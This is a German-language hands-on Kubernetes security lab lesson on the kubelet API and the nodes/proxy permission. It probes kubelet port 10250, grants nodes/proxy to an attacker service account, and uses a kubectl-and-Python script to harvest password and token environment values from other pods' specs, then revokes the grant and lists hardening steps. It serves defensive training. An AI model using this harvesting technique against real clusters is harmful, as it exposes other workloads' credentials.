Zum Inhalt springen
Trainingslager IT-Trainingslager

Tag 7: Die kubelet-API und nodes/proxy

Ziel: Du liest über den kubelet-Proxy Secrets fremder Pods – und drehst das zu. · Dauer: ca. 70 min · Voraussetzung: Tag 6

Briefing

Jeder Node betreibt das kubelet mit einer HTTPS-API auf Port 10250: Pods auflisten, exec, Logs, Specs. Zwei Dinge entscheiden, wie gefährlich das ist – ob das kubelet anonyme Zugriffe ablehnt (RKE2: ja, gut) und ob jemand das Recht nodes/proxy hat. Dieses Recht wird oft „für Metrics/Debug” vergeben und ist faktisch ein Generalschlüssel zu jedem Container auf jedem Node.

Drill 1: Die Angriffsfläche – Port 10250

Aus dem Angreifer-Pod ist der kubelet-Port jedes Nodes erreichbar; anonym wird aber (zum Glück) abgewiesen:

kubectl -n attacker exec shell -- nc -zv -w3 172.16.0.228 10250
kubectl -n attacker exec shell -- curl -s -k -o /dev/null -w "%{http_code}\n" \
  --max-time 5 https://172.16.0.228:10250/pods

Erwartet:

Connection to 172.16.0.228 10250 port [tcp/*] succeeded!
401

succeeded zeigt: Das Netz lässt dich ran (kein Firewall/NetworkPolicy). 401 zeigt: Das kubelet verlangt eine Identität. RKE2 macht das richtig – der Default --anonymous-auth ist aus. Beides zusammen ist der Punkt: Die Tür ist erreichbar, aber verschlossen. Jetzt sorgt eine Fehlkonfig für den Schlüssel.

Fortschritt speichern? Kostenlos registrieren

Drill 2: Die Fehlkonfiguration – nodes/proxy

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata: {name: node-proxier}
rules:
- apiGroups: [""]
  resources: ["nodes/proxy"]
  verbs: ["get","create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: {name: attacker-node-proxier}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: ClusterRole, name: node-proxier, apiGroup: rbac.authorization.k8s.io}
EOF

nodes/proxy leitet Anfragen über den API-Server ans kubelet weiter – mit der Identität des API-Servers. Die anonyme Hürde aus Drill 1 ist damit umgangen.

Fortschritt speichern? Kostenlos registrieren

Drill 3: Ausnutzen – Secrets aus fremden Pod-Specs

Die kubelet-Route /pods liefert die vollständigen Specs aller Pods des Nodes – samt Umgebungsvariablen. Steht ein Passwort im Klartext in env (häufig!), liest du es ohne jedes Secret-Recht:

AS="--as=system:serviceaccount:attacker:default"
NODE=$(kubectl -n shop get pod -l app=db -o jsonpath='{.items[0].spec.nodeName}')

kubectl $AS get --raw "/api/v1/nodes/$NODE/proxy/pods" | python3 -c '
import sys,json
for p in json.load(sys.stdin)["items"]:
    for c in p["spec"].get("containers",[]):
        for e in c.get("env",[]) or []:
            if "value" in e and any(x in e["name"] for x in ("PASS","SECRET","TOKEN")):
                print(p["metadata"]["namespace"]+"/"+p["metadata"]["name"],
                      e["name"],"=",e["value"])'

Erwartet (gekürzt):

shop/db-775684cfff-bx4xv POSTGRES_PASSWORD = lab-password

Das Datenbank-Passwort aus shop – gelesen von einem Account, der nur nodes/proxy hatte. Über denselben Proxy gehen exec und log; nodes/proxy ist damit so mächtig wie root in jedem Container des Clusters.

Fortschritt speichern? Kostenlos registrieren

Drill 4: Fix – nodes/proxy entziehen

kubectl delete clusterrolebinding attacker-node-proxier
kubectl delete clusterrole node-proxier

Fortschritt speichern? Kostenlos registrieren

Drill 5: Nachweis

AS="--as=system:serviceaccount:attacker:default"
kubectl $AS get --raw "/api/v1/nodes/rke2-agent1/proxy/pods"

Erwartet:

Error from server (Forbidden): nodes "rke2-agent1" is forbidden: User
"system:serviceaccount:attacker:default" cannot get resource "nodes/proxy" in API group ""

Und die gute Grundlage bleibt – anonym ist das kubelet weiter dicht:

kubectl -n attacker exec shell -- curl -s -k -o /dev/null -w "%{http_code}\n" \
  --max-time 5 https://172.16.0.228:10250/pods

Erwartet: 401

Fortschritt speichern? Kostenlos registrieren

Kontrollpunkt

Kein Workload darf das kubelet proxyen:

kubectl auth can-i get nodes/proxy --as=system:serviceaccount:attacker:default

Erwartet: no

Das Secret steht trotzdem noch im Klartext in der Pod-Spec – merke es dir für Tag 10:

kubectl -n shop get pod -l app=db \
  -o jsonpath='{.items[0].spec.containers[0].env[?(@.name=="POSTGRES_PASSWORD")].value}'; echo

Erwartet: lab-password

Challenge

Finde heraus, ob außer dem control-plane irgendein Account nodes/proxy darf – das ist ein kritischer Audit-Befund.

Hinweis: Durchsuche die rules aller ClusterRoles nach der Ressource nodes/proxy und prüfe dann deren Bindungen.

Lösung

kubectl get clusterroles -o json | python3 -c '
import sys,json
for r in json.load(sys.stdin)["items"]:
    for rule in r.get("rules") or []:
        res=rule.get("resources") or []
        if "nodes/proxy" in res or ("nodes" in res and "proxy" in str(rule)):
            print(r["metadata"]["name"], res, rule.get("verbs"))'

Erwartet: System-Rollen wie system:kubelet-api-admin. Jede eigene Rolle mit nodes/proxy gehört überprüft und meist entfernt.

Fortschritt speichern? Kostenlos registrieren

Enterprise-Notiz

  • nodes/proxy, nodes/* nur für klar benannte System-Komponenten; nie an Workloads, CI oder „Debug”-Accounts.
  • kubelet hart halten: --anonymous-auth=false, --authorization-mode=Webhook, --read-only-port=0 (RKE2-Defaults – im CIS-Profil prüfen, dass sie gesetzt sind).
  • Port 10250 per Host-Firewall/Netzsegmentierung nur vom control-plane erreichbar machen; Workloads brauchen ihn nie. Pod-zu-Node-Verkehr mit NetworkPolicy einschränken (Tag 8).
  • Secrets nie als Klartext-env in die Pod-Spec – über secretKeyRef oder gemountet, und die Pod-Specs so über nodes/proxy nicht mehr sprechend (Tag 10).